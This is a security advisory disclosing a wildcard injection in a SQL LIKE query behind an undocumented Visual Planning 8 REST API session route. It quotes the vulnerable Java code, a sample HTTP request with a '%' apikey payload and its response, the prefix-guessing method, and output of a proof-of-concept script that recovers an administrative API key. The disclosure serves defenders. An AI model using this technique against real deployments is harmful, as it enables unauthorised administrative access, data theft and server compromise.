Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-003.txt

Affected products/vendor
========================

All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.

Summary
=======
A wildcard injection inside a prepared SQL statement was found in an undocumented Visual Planning[0] 8 REST API route. The combination of fuzzy matching (via LIKE operator) and user-controlled input allows exfiltrating the REST API key based on distinguishable server responses. If exploited, attackers are able to gain administrative access to the REST API v2.0. 

Risk
====
The vulnerability allows attackers to obtain a valid API key for the Visual Planning REST API v2.0. With such a key, attackers can use corresponding endpoints to exfiltrate company data or upload/download files. If no external user management (e.g. LDAP) is configured, the API key can also be used for user management tasks including the creation of administrative users. Since administrators are allowed to upload modules using the Visual Planning Admin Center, a compromise of the underlying server is likely. 

Description
===========
During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an authentication bypass in Visual Planning's administrative REST API v2.0.[1]
Corresponding API routes are implemented in the PlanningWSRestV2.java file. A comparison between the documentation and implemented routes revealed an undocumented route (documentation accessed on 2024-03-05), which is externally reachable via a GET request to the /session endpoint.
The following code snippet shows the corresponding undocumented route, which takes the value of the apikey header as an argument: 

vp.jar.src/com/visualplanning/webservice/PlanningWSRestV2.java
/*      */   @GET
/*      */   @Path("/session")
/* */ public Response openSession(@HeaderParam("apikey") String apikey, @HeaderParam("keepalive") String keepalive) { 
/*  123 */     if (apikey == null || apikey.trim().isEmpty()) {
/* 124 */ return WSResponse.instance().errorApikey((Response.StatusType)Response.Status.FORBIDDEN, apikey); 
/*      */     }
/*      */
/*  127 */     WSSession session = WSSession.existsSession(apikey);
/*  128 */     if (session != null) {
/* 129 */ return WSResponse.instance().error((Response.StatusType)Response.Status.FORBIDDEN, "Already opened session for apikey : ", apikey); 
/*      */     }
/*      */
/* 132 */ if (WSSession.getSession(apikey, (keepalive != null && Boolean.parseBoolean(keepalive) == true)) == null) { /* 133 */ return WSResponse.instance().errorApikey((Response.StatusType)Response.Status.FORBIDDEN, apikey); 
/*      */     }
/* 135 */ return WSResponse.instance().success("WSSession created for apikey : " + apikey); 
/*      */   }
Line 132 shows a call to the getSession(apikey, ...) method of the WSSession class. Subsequently, the getSession(..) method will call the makeSession(apikey, ..) method of the same class.
The following code snippet shows the makeSession(..) method. Line 646 contains the vulnerable prepared SQL statement, which is prone to wildcard injections[2] due to the usage of the LIKE operator in combination with user-controlled input: 

vp.jar.src/com/visualplanning/webservice/WSSession.java
/* */ private static WSSession makeSession(String apiKey, WSSessionType type) { 
/*  634 */     WSSession wsSession = new WSSession();
/* 635 */ WebApplicationContext applicationContext = WebApplicationContext.getDefaultApplication(); /* 636 */ UserSession userSession = applicationContext.createUserSession(); 
/*      */
/* 638 */ DBConnection connection = applicationContext.createUserSession().getDBConnection(); /* 639 */ String databaseName = applicationContext.getProperty("Application", "Databasename", "VisualPlanning7"); 
/*      */
/*  641 */     connection.setPoolMode(false);
/*  642 */     connection.setDatabase(databaseName);
/*      */
/*      */     try {
/*  645 */       if (type == WSSessionType.CLIENT) {
/* 646 */ String planningQuery = "SELECT XMLContent FROM Planning WHERE XMLContent LIKE ?"; /* 647 */ PreparedStatement stmt = connection.createPreparedStatement(planningQuery); 
/*  648 */         stmt.setString(1, "%<APIKey>" + apiKey + "</APIKey>%");
/*  649 */         ResultSet rs = stmt.executeQuery();
/*      */
/*  651 */         if (!rs.next()) {
/*  652 */           return null;
/*      */         }
The following GET request demonstrates the behavior of injecting a percent sign as wildcard character: 

GET /vplanning/api/v2/session HTTP/1.1
Host: vp-host
apikey: %
[..]
The server will respond with a success message, indicating that a session was created for the used API key: 

HTTP/1.1 200
[..]

WSSession created for apikey : %
Further tests showed that an apikey header payload of '1%' will result in a similar success response, if the api key starts with the character '1'. A payload with a different non-matching first apikey character like '2%' will result in a status code 403 and the error message 'Invalid API key (2%)'.
The proof-of-concept script brute_vp_apikey.py[3] was developed in order to automate the process of exfiltrating the full apikey. The script can be executed as follows against a vulnerable Visual Planning instance and to extract the administrative api key: 

$ python3 brute_vp_apikey.py --url http://127.0.0.1:8080
Visual Planning API Key: 79d4add3-6995-8cae-976b-4aaaddd90616
